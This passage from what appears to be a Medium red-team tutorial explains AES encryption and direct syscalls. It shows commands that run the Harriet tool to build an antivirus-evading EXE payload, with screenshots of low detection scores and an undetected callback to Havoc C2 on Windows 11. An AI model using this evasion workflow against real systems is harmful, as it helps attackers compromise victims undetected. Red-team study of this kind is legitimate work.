assume-breach/Home-Grown-Red-Team</a></p><ul><li><strong>AES (Advanced Encryption Standard):</strong> AES, a widely embraced symmetric encryption algorithm, stands as a safeguard of sensitive data in transit or at rest. Operating on the principle of using a single key for both encryption and decryption, AES facilitates secure communication across networks and fortifies the integrity of files and storage devices against unauthorized breaches. Employing fixed-size blocks of data and keys varying in size from 128, 192, or 256 bits. AES encryption undergoes a series of intricate substitution and permutation operations. As a result, encrypted data presents a formidable obstacle for decryption without access to the appropriate decryption key, thus significantly enhancing its resilience against analytical scrutiny and detection.</li><li><strong>Direct Syscall:</strong> A system call serves as a mechanism within the Windows operating system, facilitating a temporary transition from user mode to kernel mode. This transition becomes necessary when user mode applications require access to kernel-level functionality, such as saving documents. Each system call is uniquely identified by a Syscall ID. Direct System Calls can be employed by attackers to execute code within the context of Windows APIs through system calls. This approach circumvents the need for the affected application to rely on kernel32.dll or native APIs obtained from ntdll.dll. The assembly instructions are directly integrated into the malware, enabling seamless execution within the Windows environment.</li></ul><pre># Initiate Harriet</pre><pre>cd Home-Grown-Red-Team/Harriet</pre><pre>./setup.sh</pre><pre>./Harriet.sh</pre><pre># Select EXE</pre><pre># Select Fully-Automated AES Encrypted Direct Syscall Execution</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*cK2WQVoVGSKhnGLAV-EYXw.png" /><figcaption>Harriet with FUD EXE Option</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*oRWt7D00gVWIpCobhLxH-w.png" /><figcaption>Selection of Fully-Automated AES Encrypted Direct Syscall Execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*36iNf1oCANf7nam_OHrlgA.png" /><figcaption>Malware Compiled with Encrypted Direct Syscall Execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*NTv3d6eB2fb8zbP409JFGw.png" /><figcaption>Threat Detection Score from <a href="https://metadefender.opswat.com/">https://metadefender.opswat.com/</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*4-9fHPWhn4lonNkrhBy1LA.png" /><figcaption>Threat Detection Score from <a href="https://metadefender.opswat.com/">https://metadefender.opswat.com/</a></figcaption></figure><h3>Payload Execution on Victim Machine:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*V_poTOVbomaH-iKmmhSecA.png" /><figcaption>Payload NOT Detected on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*xC1TAe65fstcBCI6FFkKrw.png" /><figcaption>Victim Host Information Showing Windows 11</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*PRwUKYxZf6Dw_iqh64IFPQ.png" /><figcaption>Victim Host Information for Confirmation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45v24tuDvhxqqtxQKWokxg.png" /><figcaption>Victim Host Information for Confirmation within Havoc C2</figcaption></figure><h3>References:</h3><ul><li><a href="https://assume-breach.medium.com/home-grown-red-team-getting-system-on-windows-11-with-havoc-c2-cc4bb089d22">https://assume-breach.medium.com/home-grown-red-team-getting-system-on-windows-11-with-havoc-c2-cc4bb089d22</a></li><li><a href="https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b">https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b</a></li><li><a href="https://www.youtube.com/watch?v=WGJbI_Hug_I&amp;t=2307s">Red Teaming With Havoc C2</a> by CYBER RANGES</li><li><a href="https://havocframework.com/docs">https://havocframework.com/docs</a></li><li><a href="https://redops.at/blog/direct-syscalls-a-journey-from-high-to-low">https://redops.at/blog/direct-syscalls-a-journey-from-high-to-low</a></li><li><a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls">https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e46d415ce1e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>